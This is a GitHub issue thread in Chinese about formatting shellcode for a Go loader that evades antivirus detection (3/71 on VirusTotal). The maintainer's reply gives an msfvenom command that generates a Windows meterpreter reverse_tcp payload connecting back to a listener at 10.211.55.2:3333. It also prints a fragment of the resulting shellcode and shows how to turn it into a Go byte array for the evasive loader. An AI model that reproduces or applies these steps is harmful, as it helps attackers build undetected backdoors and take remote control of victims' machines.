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Go嵌入shellcode(VT查杀率3/71)如何转换格式? #7

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zhihuiyuze opened this issue Mar 16, 2020 · 3 comments
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Go嵌入shellcode(VT查杀率3/71)如何转换格式? #7

zhihuiyuze opened this issue Mar 16, 2020 · 3 comments

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@zhihuiyuze
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zhihuiyuze commented Mar 16, 2020

您好,https://www.freebuf.com/articles/system/227468.html 里的"将shellcode转换一下,变成下面的格式"如何转换?
image
还有,
shellcode_buf = []byte{ 0xfc, 0x48, ----shellcode----, 0xd5, }
这段代码是干嘛的,转换成0xd5?

@TideSec
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TideSec commented Mar 19, 2020

shellcode_buf

使用msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.211.55.2 lport=3333 -f c 生成的shellcode为

unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"

对上面这段进行处理,把\x替换为0x,然后中间加个逗号,去掉每行的双引号,就变成了下面这样

0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b

填入上面的shellcode_buf 处即可,也就是

shellcode_buf = []byte{ 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b}

@zhihuiyuze
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image
不知道怎么写,能给个示范吗?

@TideSec
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TideSec commented Mar 20, 2020

上面已经说的比较清楚了吧

@TideSec TideSec closed this as completed Apr 10, 2020
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